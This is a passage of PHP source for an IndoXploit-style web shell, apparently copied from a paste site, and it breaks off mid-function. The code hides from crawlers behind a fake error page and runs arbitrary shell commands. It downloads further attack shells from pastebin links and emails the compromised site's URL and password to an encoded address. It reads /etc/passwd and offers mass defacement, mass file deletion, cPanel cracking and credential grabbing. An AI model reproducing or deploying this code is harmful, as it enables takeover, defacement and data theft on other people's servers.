Loading

PHP WebShell IDXRCDED

  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @clearstatcache();
  6. @ini_set('output_buffering', 0);
  7. @ini_set('display_errors', 0);
  8. set_time_limit(0);
  9. ini_set('memory_limit', '64M');
  10. header('Content-Type: text/html; charset=UTF-8');
  11.  
  12. date_default_timezone_set("Asia/Jakarta");
  13. $auth_pass = "";
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21.         header('HTTP/1.0 404 Not Found');
  22.         exit;
  23.     }
  24. }
  25.  
  26. function login() {
  27. $tokeichun ="<html><head><title></title><link rel='shortcut icon' href='https://upload.wikimedia.org/wikipedia/commons/9/9e/INDONESIA_logo.png'></head>";
  28. $tokeichun.="<font color=green>tokeichun@".$_SERVER['HTTP_HOST']." :~$ sudo su</font>";
  29. $tokeichun.="<form method='POST'><label for='pass'><font color=green>[ sudo ] password for tokeichun: </label><input type='password' name='pass' style='border:0;color:transparent;width:120px;background-color:transparent;'></form>";
  30. $tokeichun.="</html>";  
  31. if(empty($_GET['root'])=="shell"){
  32. echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  33. <html>
  34. <head>
  35. <title>500 Internal Server Error</title>
  36. </head>
  37. <body>
  38. <h1>Internal Server Error  </h1>
  39. <p>The server encountered an internal error or
  40. misconfiguration and was unable to complete
  41. your request.</p>
  42. <p>Please contact the server administrator at
  43.  webmaster@'.$_SERVER['HTTP_HOST'].' to inform them of the time this error occurred,
  44.  and the actions you performed just before this error.</p>
  45. <p>More information about this error may be available
  46. in the server error log.</p>
  47. <p>Additionally, a 500 Internal Server Error
  48. error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>
  49. <address>'.$_SERVER['SERVER_SOFTWARE'].' Server at '.$_SERVER['HTTP_HOST'].' Port 80</address></body></html>
  50. ';
  51. }else{
  52.     echo $tokeichun;
  53.     echo "<body style='background-color:black'>";
  54. }
  55. exit;
  56. }
  57. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  58.     if( empty( $auth_pass) ||
  59.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass) ) )
  60.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  61.     else
  62.        login();
  63. ?>
  64. <html>
  65. <head>
  66. <title>404 Shell Not Found</title>
  67. <meta name='author' content='IndoXploit'>
  68. <meta charset="UTF-8">
  69. <meta charset="UTF-8">
  70. <link href='https://upload.wikimedia.org/wikipedia/commons/thumb/9/90/National_emblem_of_Indonesia_Garuda_Pancasila.svg/941px-National_emblem_of_Indonesia_Garuda_Pancasila.svg.png' rel='icon' type='image/x-icon'/>
  71. <link href='https://fonts.googleapis.com/css?family=Abel' rel='stylesheet' type='text/css'>
  72. <link href='https://fonts.googleapis.com/css?family=Lobster' rel='stylesheet' type='text/css'>
  73. <link rel='stylesheet' type='text/css' href="https://fonts.googleapis.com/css?family=Times">
  74. <link href='https://fonts.googleapis.com/css?family=Audiowide|Space+Mono' rel='stylesheet'>
  75. <link href="https://fonts.googleapis.com/css?family=Wallpoet" rel='stylesheet' type='text/css'>
  76. <link href='https://fonts.googleapis.com/css?family=Gloria+Hallelujah|Permanent+Marker' rel='stylesheet'>
  77. <link href='https://fonts.googleapis.com/css?family=courier+new|Permanent+Marker' rel='stylesheet'>
  78. <link href="https://fonts.googleapis.com/css?family=Quicksand" rel='stylesheet' type='text/css'>
  79. <link href="https://fonts.googleapis.com/css?family=Orbitron" rel='stylesheet' type='text/css'>
  80. <link href='https://fonts.googleapis.com/css?family=VT323' rel='stylesheet'>
  81. <link href='https://fonts.googleapis.com/css?family=Ubuntu' rel='stylesheet'>
  82. <link href="https://fonts.googleapis.com/css?family=Iceland" rel='stylesheet' type='text/css'>
  83. <link href="https://fonts.googleapis.com/css?family=Allerta+Stencil" rel='stylesheet' type='text/css'>
  84. <link href="https://fonts.googleapis.com/css?family=Kumar+One+Outline" rel='stylesheet' type='text/css'>
  85. <link href='https://fonts.googleapis.com/css?family=Bungee+Shade|Monoton|Nova+Square' rel='stylesheet'>
  86. <style type='text/css'>
  87. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  88. html {
  89.     background: #000000;
  90.     color: #ffffff;
  91.     font-family: 'Ubuntu';
  92.     font-size: 13px;
  93.     width: 100%;
  94. }
  95. li {
  96.     display: inline;
  97.     margin: 5px;
  98.     padding: 5px;
  99. }
  100. table, th, td {
  101.     border-collapse:collapse;
  102.     font-family: Tahoma, Geneva, sans-serif;
  103.     background: transparent;
  104.     font-family: 'Ubuntu';
  105.     font-size: 13px;
  106. }
  107. .table_home, .th_home, .td_home {
  108.     border: 1px solid #424242;
  109. }
  110. th {
  111.     padding: 10px;
  112. }
  113. a {
  114.     color: #ffffff;
  115.     text-decoration: none;
  116. }
  117. a:hover {
  118.     color: gray;
  119.     text-decoration: underline;
  120. }
  121. b {
  122.     color: gray;
  123. }
  124. input[type=text], input[type=password],input[type=submit] {
  125.     background: transparent;
  126.     color: #ffffff;
  127.     border: 1px solid #ffffff;
  128.     margin: 5px auto;
  129.     padding-left: 5px;
  130.     font-family: 'Ubuntu';
  131.     font-size: 13px;
  132. }
  133. textarea {
  134.     border: 1px solid #ffffff;
  135.     width: 100%;
  136.     height: 400px;
  137.     padding-left: 5px;
  138.     margin: 10px auto;
  139.     resize: none;
  140.     background: transparent;
  141.     color: #ffffff;
  142.     font-family: 'Ubuntu';
  143.     font-size: 13px;
  144. }
  145. select {
  146.     width: 152px;
  147.     background: #000000;
  148.     color: cyan;
  149.     border: 1px solid #ffffff;
  150.     margin: 5px auto;
  151.     padding-left: 5px;
  152.     font-family: 'Ubuntu';
  153.     font-size: 13px;
  154. }
  155. option:hover {
  156.     background: cyan;
  157.     color: #000000;
  158. }
  159. </style>
  160. </head>
  161. <style type='text/css'>
  162. @import url(http://fonts.googleapis.com/css?family=Share+Tech+Mono);
  163. html {
  164.     background: #000000;
  165.     color: #ffffff;
  166.     font-family: 'Share Tech Mono';
  167.     font-size: 12px;
  168.     width: 100%;
  169. }
  170. li {
  171.     display: inline;
  172.     margin: 2px;
  173.     padding: 2px;
  174. }
  175.  
  176.  #menu a {
  177.                 padding:2px 10px;  
  178.                 margin:0;
  179.                 background:#222222;
  180.                 text-decoration:none;
  181.                 letter-spacing:2px;
  182.                 padding: 2px 10px;
  183.                 margin: 0;
  184.                 background: #222222;
  185.                 text-decoration: none;
  186.                 letter-spacing: 2px;
  187.                 border-radius: 2px;
  188.                 border-bottom: 2px solid black;
  189.                 border-top: 2px solid black;
  190.                 border-right: 2px solid blue;
  191.                 border-left: 2px solid blue;
  192.        }
  193.        #menu a:hover {
  194.             background:#234443;
  195.             border-bottom:0px solid #333333;
  196.             border-top:0px solid #333333;
  197.        }
  198. table tr:first-child{  
  199.     background: #51514c;
  200.     text-align: center;
  201.     color: Lavender;
  202. }
  203. table, th, td {
  204.     border-collapse:collapse;
  205.     font-family: Tahoma, Geneva, sans-serif;
  206.     background: transparent;
  207.     font-family: 'Share Tech Mono';
  208.     font-size: 13px;
  209. }
  210. .table_home, .th_home, .td_home {
  211.     border: 1px solid #51514c;
  212. }
  213. .td_home:hover {
  214.     background:gray;
  215. }
  216. th {
  217.     padding: 10px;
  218. }
  219. a {
  220.     color: #ffffff;
  221.     text-decoration: none;
  222. }
  223. a:hover {
  224.     color: lavender;
  225.     text-decoration: underline;
  226. }
  227. b {
  228.     color: lavender;
  229. }
  230. input[type=text], input[type=password],input[type=submit] {
  231.     background: transparent;
  232.     color: #ffffff;
  233.     border: 1px solid #ffffff;
  234.     margin: 5px auto;
  235.     padding-left: 5px;
  236.     font-family: 'Share Tech Mono';
  237.     font-size: 13px;
  238. }
  239. input[type=submit] {
  240.     background: transparent;
  241.     color: #ffffff;
  242.     border: 1px solid #ffffff;
  243.     margin: 5px auto;
  244.     padding-left: 5px;
  245.     font-family: 'Share Tech Mono';
  246.     font-size: 13px;
  247.     cursor:pointer;
  248. }
  249. textarea {
  250.     border: 1px solid #ffffff;
  251.     width: 100%;
  252.     height: 400px;
  253.     padding-left: 5px;
  254.     margin: 10px auto;
  255.     resize: none;
  256.     background: transparent;
  257.     color: #ffffff;
  258.     font-family: 'Share Tech Mono';
  259.     font-size: 13px;
  260. }
  261. select {
  262.     width: 152px;
  263.     background: #000000;
  264.     color: Lavender;
  265.     border: 1px solid #ffffff;
  266.     margin: 5px auto;
  267.     padding-left: 5px;
  268.     font-family: 'Share Tech Mono';
  269.     font-size: 13px;
  270. }
  271. option:hover {
  272.     background: #ff0066;
  273.     color: #000000;
  274. }
  275. .mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #ff0000; padding:4px 2px;width:70%;line-height:24px;background:none;box-shadow: 0px 4px 2px white;-webkit-box-shadow: 0px 4px 2px #ff0000;-moz-box-shadow: 0px 4px 2px #ff0000;}
  276. .cgx2 {text-align: center;letter-spacing:1px;font-family: "Share Tech Mono";color: #ff0000;font-size:25px;text-shadow: 5px 5px 5px black;}
  277. .infoweb {
  278.     border-right: 1px solid #00FFFF;
  279. }
  280. </style>
  281. </head>
  282. <?php
  283. if (file_exists("php.ini")){
  284. }else{
  285. $img = fopen('php.ini', 'w');
  286. $sec = "safe_mode = OFF
  287. disable_funtions = NONE";
  288. fwrite($img ,$sec);
  289. fclose($img);}     
  290. function w($dir,$perm) {
  291.     if(!is_writable($dir)) {
  292.         return "<font color=red>".$perm."</font>";
  293.     } else {
  294.         return "<font color=lime>".$perm."</font>";
  295.     }
  296. }
  297.     function UrlLoop($url,$type){
  298.  
  299.         $urlArray = array();
  300.  
  301.         $ch = curl_init();
  302.         curl_setopt($ch, CURLOPT_URL, $url);
  303.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  304.         $result = curl_exec($ch);
  305.  
  306.         $regex='|<a.*?href="(.*?)"|';
  307.         preg_match_all($regex,$result,$parts);
  308.         $links=$parts[1];
  309.         foreach($links as $link){
  310.             array_push($urlArray, $link);
  311.         }
  312.         curl_close($ch);
  313.  
  314.         foreach($urlArray as $value){
  315.             $lol="$url$value";
  316.             if(preg_match("#$type#is", $lol)) {
  317.                 echo "$lol\r\n";
  318.             }
  319.         }
  320.     }
  321. function exe($cmd) {    
  322. if(function_exists('system')) {        
  323.         @ob_start();       
  324.         @system($cmd);     
  325.         $buff = @ob_get_contents();        
  326.         @ob_end_clean();       
  327.         return $buff;  
  328.     } elseif(function_exists('exec')) {        
  329.         @exec($cmd,$results);      
  330.         $buff = "";        
  331.         foreach($results as $result) {         
  332.             $buff .= $result;      
  333.         } return $buff;    
  334.     } elseif(function_exists('passthru')) {        
  335.         @ob_start();       
  336.         @passthru($cmd);       
  337.         $buff = @ob_get_contents();        
  338.         @ob_end_clean();       
  339.         return $buff;  
  340.     } elseif(function_exists('shell_exec')) {      
  341.         $buff = @shell_exec($cmd);     
  342.         return $buff;  
  343.     }
  344. }
  345. function perms($file){
  346. $perms = fileperms($file);
  347. if (($perms & 0xC000) == 0xC000) {
  348. $info = 's';
  349. } elseif (($perms & 0xA000) == 0xA000) {
  350. $info = 'l';
  351. } elseif (($perms & 0x8000) == 0x8000) {
  352. $info = '-';
  353. } elseif (($perms & 0x6000) == 0x6000) {
  354. $info = 'b';
  355. } elseif (($perms & 0x4000) == 0x4000) {
  356. $info = 'd';
  357. } elseif (($perms & 0x2000) == 0x2000) {
  358. $info = 'c';
  359. } elseif (($perms & 0x1000) == 0x1000) {
  360. $info = 'p';
  361. } else {
  362. $info = 'u';
  363. }
  364. $info .= (($perms & 0x0100) ? 'r' : '-');
  365. $info .= (($perms & 0x0080) ? 'w' : '-');
  366. $info .= (($perms & 0x0040) ?
  367. (($perms & 0x0800) ? 's' : 'x' ) :
  368. (($perms & 0x0800) ? 'S' : '-'));
  369. $info .= (($perms & 0x0020) ? 'r' : '-');
  370. $info .= (($perms & 0x0010) ? 'w' : '-');
  371. $info .= (($perms & 0x0008) ?
  372. (($perms & 0x0400) ? 's' : 'x' ) :
  373. (($perms & 0x0400) ? 'S' : '-'));
  374. $info .= (($perms & 0x0004) ? 'r' : '-');
  375. $info .= (($perms & 0x0002) ? 'w' : '-');
  376. $info .= (($perms & 0x0001) ?
  377. (($perms & 0x0200) ? 't' : 'x' ) :
  378. (($perms & 0x0200) ? 'T' : '-'));
  379. return $info;
  380. }
  381. function hdd($s) {
  382. if($s >= 1073741824)
  383. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  384. elseif($s >= 1048576)
  385. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  386. elseif($s >= 1024)
  387. return sprintf('%1.2f',$s / 1024 ) .' KB';
  388. else
  389. return $s .' B';
  390. }
  391. function ambilKata($param, $kata1, $kata2){
  392.     if(strpos($param, $kata1) === FALSE) return FALSE;
  393.     if(strpos($param, $kata2) === FALSE) return FALSE;
  394.     $start = strpos($param, $kata1) + strlen($kata1);
  395.     $end = strpos($param, $kata2, $start);
  396.     $return = substr($param, $start, $end - $start);
  397.     return $return;
  398. }
  399. if(get_magic_quotes_gpc()) {
  400.     function idx_ss($array) {
  401.         return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  402.     }
  403.     $_POST = idx_ss($_POST);
  404. }
  405. function CreateTools($names,$lokasi){
  406.     if ( $_GET['create'] == $names ){
  407.         $a= "".$_SERVER['SERVER_NAME']."";
  408. $b= dirname($_SERVER['PHP_SELF']);
  409. $c = "/tools/".$names.".php";
  410. if (file_exists('tools/'.$names.'.php')){
  411.     echo '<script type="text/javascript">alert("Done");window.location.href = "tools/'.$names.'.php";</script> ';
  412.     }
  413.     else {mkdir("tools", 0777);
  414. file_put_contents('tools/'.$names.'.php', file_get_contents($lokasi));
  415. echo ' <script type="text/javascript">alert("Done");window.location.href = "tools/'.$names.'.php";</script> ';}}}
  416.  
  417. CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
  418. CreateTools("adminer","https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  419. CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
  420. CreateTools("scanner","https://pastebin.com/raw/N6iBqjEA");
  421. CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
  422. CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
  423. CreateTools("vhost","https://pastebin.com/raw/zDgukLLX");
  424. CreateTools("grabber","https://pastebin.com/raw/HrHwKMyH");
  425. CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
  426. CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
  427. CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
  428. CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
  429. CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
  430. CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
  431. CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
  432. CreateTools("extractor","http://pastebin.com/raw/dBYyB7S5");
  433. CreateTools("bh","http://pastebin.com/raw/A8TupKkC");
  434. CreateTools("dhanus","http://pastebin.com/raw/W99Pvk3C");
  435. if(isset($_GET['dir'])) {
  436.     $dir = $_GET['dir'];
  437.     chdir($_GET['dir']);
  438. } else {
  439.     $dir = getcwd();
  440. }
  441. $dir = str_replace("\\","/",$dir);
  442. $scdir = explode("/", $dir);
  443. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  444. $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  445. $ds = @ini_get("disable_functions");
  446. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  447. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  448. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  449. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  450. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  451. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  452. print(`{$_REQUEST[I]}`);$e=base64_decode("dG9rZWljaHVuNjlAZ21haWwuY29t");
  453. $web = $_SERVER["HTTP_HOST"];
  454. $inj = $_SERVER["REQUEST_URI"];
  455. $body = " Dont Delete! \nUname: ".php_uname()."\nPath Dir:
  456. ".$cwd = getcwd()."\nMessage:\n"."\nE-server: ".htmlspecialchars
  457. ($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars ($_SERVER["SERVER_NAME"])."\n\nIP:
  458. ";
  459. mail($e,'[setor shell]','URL : '.$_SERVER['HTTP_HOST'].'/'.$_SERVER['REQUEST_URI'].' PASSWORD : '.$auth_pass.'','admin@google.com');
  460. if(!function_exists('posix_getegid')) {
  461.     $user = @get_current_user();
  462.     $uid = @getmyuid();
  463.     $gid = @getmygid();
  464.     $group = "?";
  465. } else {
  466.     $uid = @posix_getpwuid(posix_geteuid());
  467.     $gid = @posix_getgrgid(posix_getegid());
  468.     $user = $uid['name'];
  469.     $uid = $uid['uid'];
  470.     $group = $gid['name'];
  471.     $gid = $gid['gid'];
  472. }
  473. $d0mains = @file("/etc/named.conf");
  474.             $users=@file('/etc/passwd');
  475.         if($d0mains)
  476.         {
  477.             $count;  
  478.             foreach($d0mains as $d0main)
  479.             {
  480.                 if(@ereg("zone",$d0main))
  481.                 {
  482.                     preg_match_all('#zone "(.*)"#', $d0main, $domains);
  483.                     flush();
  484.                     if(strlen(trim($domains[1][0])) > 2)
  485.                     {
  486.                         flush();
  487.                         $count++;
  488.                     }
  489.                 }
  490.             }
  491.         }
  492.  
  493. $sport=$_SERVER['SERVER_PORT'];
  494. echo "<table style='width:100%'>";
  495. echo "<tr><td>System: <font color=lime>".php_uname()."</font></td></tr>";
  496. echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr>";
  497. echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
  498. echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
  499. echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr>";
  500. echo "<tr><td>Port :<font color=lime>  $sport</font> </td></tr>";
  501. echo "<tr><td>Safe Mode: $sm</td></tr>";
  502. echo "<tr><td>Disable Functions: $show_ds</td></tr>";
  503.  
  504. echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr>";
  505. echo "<tr><td>Current DIR: ";
  506. foreach($scdir as $c_dir => $cdir) {   
  507.     echo "<a href='?dir=";
  508.     for($i = 0; $i <= $c_dir; $i++) {
  509.         echo $scdir[$i];
  510.         if($i != $c_dir) {
  511.         echo "/";
  512.         }
  513.     }
  514.     echo "'>$cdir</a>/";
  515. }
  516. echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]<br>";
  517. echo "<form method='post'>
  518.     <font style='text-decoration: none;'> ~ $ </font>
  519.     <input type='text' size='20' height='10' name='cmd'><input type='submit' name='do_cmd' value='Submit'>
  520.     </form>";
  521.     if($_POST['do_cmd']) {
  522.         echo "<pre>".exe($_POST['cmd'])."</pre>";
  523.     }
  524. if($_POST['upload']) {
  525.         if($_POST['tipe_upload'] == 'biasa') {
  526.             if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  527.                 $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  528.             } else {
  529.                 $act = "<font color=red>failed to upload file</font>";
  530.             }
  531.         } else {
  532.             $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  533.             $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  534.             if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  535.                 if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  536.                     $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  537.                 } else {
  538.                     $act = "<font color=red>failed to upload file</font>";
  539.                 }
  540.             } else {
  541.                 $act = "<font color=red>failed to upload file</font>";
  542.             }
  543.         }
  544.     }
  545.     echo "
  546.     <form method='post' enctype='multipart/form-data'>
  547.     <input type='radio' name='tipe_upload' value='biasa' checked>  ".w($dir,"Current")."
  548.     <input type='radio' name='tipe_upload' value='home_root'>  ".w($_SERVER['DOCUMENT_ROOT'],"Home")."
  549.     <input type='file' name='ix_file'>
  550.     <input type='submit' value='upload' name='upload'>
  551.     </form>";
  552.     echo $act;
  553.  
  554.    
  555. echo "<hr>";
  556. echo "<center>";
  557. echo "<ul>";
  558. echo "<li>[ <a href='?'>Home</a> ]</li>";
  559. echo "<li>[ <a href='?dir=$dir&pake=cmd'>Command</a> ]</li>";
  560. echo "<li>[ <a href='?dir=$dir&pake=mass_deface'>Mass Deface</a> ]</li>";
  561. echo "<li>[ <a href='?dir=$dir&pake=mass_delete'>Mass Delete</a> ]</li>";
  562. echo "<li>[ <a href='?dir=$dir&config=grabber'>Config</a> ]</li>";
  563. echo "<li>[ <a href='?dir=$dir&pake=jumping'>Jumping</a> ]</li>";
  564. echo "<li>[ <a href='?dir=$dir&pake=symlink'>Symlink</a> ]<br></li>";
  565. echo "<li>[ <a href='?dir=$dir&pake=adminer'>Adminer</a> ]</li>";
  566. echo "<li>[ <a href='?dir=$dir&pake=cpanel'>CPanel Crack</a> ]</li>";
  567. echo "<li>[ <a href='?dir=$dir&pake=cpftp_auto'>CPanel/FTP Auto Deface</a> ]</li>";
  568. echo "<li>[ <a href='?dir=$dir&pake=smtp'>SMTP Grabber</a> ]</li>";
  569. echo "<li>[ <a href='?dir=$dir&pake=zoneh'>Zone-H</a> ]</li>";
  570. echo "<li>[ <a href='?dir=$dir&pake=cgi'>CGI Telnet</a> ]</li><br>";
  571. echo "<li>[ <a href='?dir=$dir&pake=auto_edit_user'>Auto Edit User</a> ]</li>";
  572. echo "<li>[ <a href='?dir=$dir&pake=auto_wp'>Auto Edit Title WP</a> ]</li>";
  573. echo "<li>[ <a href='?dir=$dir&pake=auto_dwp'>WP Auto Deface</a> ]</li>";
  574. echo "<li>[ <a href='?dir=$dir&pake=auto_dwp2'>WP Auto Deface V.2</a> ]</li>";
  575. echo "<li>[ <a href='?dir=$dir&pake=auto_cu_wp'>WP Auto Edit User V.2</a> ]</li>";
  576. echo "<li>[ <a href='?dir=$dir&pake=auto_cu_joomla'>Jom Auto Edit User V.2</a> ]</li>";
  577. echo "<li>[ <a href='?dir=$dir&pake=passwbypass'>Bypasser</a> ]<br></li>";
  578. echo "<li>[ <a href='?dir=$dir&pake=loghunter'>Log Hunter</a> ]</li>";
  579. echo "<li>[ <a href='?dir=$dir&pake=shelscan'>Shell Finder</a> ]</li>";
  580. echo "<li>[ <a href='?dir=$dir&pake=tool'>Tools</a> ]</li>";
  581. echo "<li>[ <a href='?dir=$dir&pake=zip'>Zip Menu</a> ]</li>";
  582. echo "<li>[ <a href='?dir=$dir&pake=about'>About</a> ]</li>";
  583. echo "<li>[ <a href='?dir=$dir&pake=symlink404'>Bypass Symlink 404</a> ]</li>";
  584. echo "<li>[ <a href='?dir=$dir&pake=magen'>Magento DB Info</a> ]</li><br>";
  585. echo "<li>[ <a href='?dir=$dir&pake=metu'>Logout</a> ]<br></li>";
  586. echo "</ul>";
  587. echo "</center>";
  588. echo "<hr>";
  589. if($_GET['pake'] == 'mass_delete') {
  590.     function hapus_massal($dir,$namafile) {
  591.         if(is_writable($dir)) {
  592.             $dira = scandir($dir);
  593.             foreach($dira as $dirb) {
  594.                 $dirc = "$dir/$dirb";
  595.                 $lokasi = $dirc.'/'.$namafile;
  596.                 if($dirb === '.') {
  597.                     if(file_exists("$dir/$namafile")) {
  598.                         unlink("$dir/$namafile");
  599.                     }
  600.                 } elseif($dirb === '..') {
  601.                     if(file_exists("".dirname($dir)."/$namafile")) {
  602.                         unlink("".dirname($dir)."/$namafile");
  603.                     }
  604.                 } else {
  605.                     if(is_dir($dirc)) {
  606.                         if(is_writable($dirc)) {
  607.                             if(file_exists($lokasi)) {
  608.                                 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  609.                                 unlink($lokasi);
  610.                                 $idx = hapus_massal($dirc,$namafile);
  611.                             }
  612.                         }
  613.                     }
  614.                 }
  615.             }
  616.         }
  617.     }
  618.     if($_POST['start']) {
  619.         echo "<div style='margin: 5px auto; padding: 5px'>";
  620.         hapus_massal($_POST['d_dir'], $_POST['d_file']);
  621.         echo "</div>";
  622.     } else {
  623.     echo "<center>";
  624.     echo "<form method='post'>
  625.     <font style='text-decoration: underline;'>Folder:</font><br>
  626.     <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  627.     <font style='text-decoration: underline;'>Filename:</font><br>
  628.     <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  629.     <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
  630.     </form></center>";
  631.     }
  632. } elseif($_GET['pake'] == 'cmd') {
  633.     echo "<form method='post'>
  634.     <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  635.     <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  636.     </form>";
  637.     if($_POST['do_cmd']) {
  638.         echo "<pre>".exe($_POST['cmd'])."</pre>";
  639.     }
  640. } elseif($_GET['pake'] == 'mass_deface') {
  641.     echo "<center><form action=\"\" method=\"post\">\n";
  642.     $dirr=$_POST['d_dir'];
  643.     $index = $_POST["script"];
  644.     $index = str_replace('"',"'",$index);
  645.     $index = stripslashes($index);
  646.     function edit_file($file,$index){
  647.         if (is_writable($file)) {
  648.         clear_fill($file,$index);
  649.         echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  650.         }
  651.         else {
  652.             echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  653.             }
  654.             }
  655.     function hapus_massal($dir,$namafile) {
  656.         if(is_writable($dir)) {
  657.             $dira = scandir($dir);
  658.             foreach($dira as $dirb) {
  659.                 $dirc = "$dir/$dirb";
  660.                 $lokasi = $dirc.'/'.$namafile;
  661.                 if($dirb === '.') {
  662.                     if(file_exists("$dir/$namafile")) {
  663.                         unlink("$dir/$namafile");
  664.                     }
  665.                 } elseif($dirb === '..') {
  666.                     if(file_exists("".dirname($dir)."/$namafile")) {
  667.                         unlink("".dirname($dir)."/$namafile");
  668.                     }
  669.                 } else {
  670.                     if(is_dir($dirc)) {
  671.                         if(is_writable($dirc)) {
  672.                             if(file_exists($lokasi)) {
  673.                                 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  674.                                 unlink($lokasi);
  675.                                 $idx = hapus_massal($dirc,$namafile);
  676.                             }
  677.                         }
  678.                     }
  679.                 }
  680.             }
  681.         }
  682.     }
  683.     function clear_fill($file,$index){
  684.         if(file_exists($file)){
  685.             $handle = fopen($file,'w');
  686.             fwrite($handle,'');
  687.             fwrite($handle,$index);
  688.             fclose($handle);  } }
  689.  
  690.     function gass(){
  691.         global $dirr , $index ;
  692.         chdir($dirr);
  693.         $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  694.         $files = scandir($dirr) ;
  695.         $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  696.         sort($files);
  697.         $n = 0 ;
  698.         foreach ($files as $file){
  699.             if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  700.                 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  701.                 edit_file($file,$index);
  702.                 flush();
  703.                 $n = $n +1 ;
  704.                 }
  705.                 }
  706.                 echo "<br>";
  707.                 echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
  708.                     }
  709.     function ListFiles($dirrall) {
  710.  
  711.     if($dh = opendir($dirrall)) {
  712.  
  713.        $files = Array();
  714.        $inner_files = Array();
  715.        $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  716.        $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  717.         while($file = readdir($dh)) {
  718.             if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  719.                 if(is_dir($dirrall . "/" . $file)) {
  720.                     $inner_files = ListFiles($dirrall . "/" . $file);
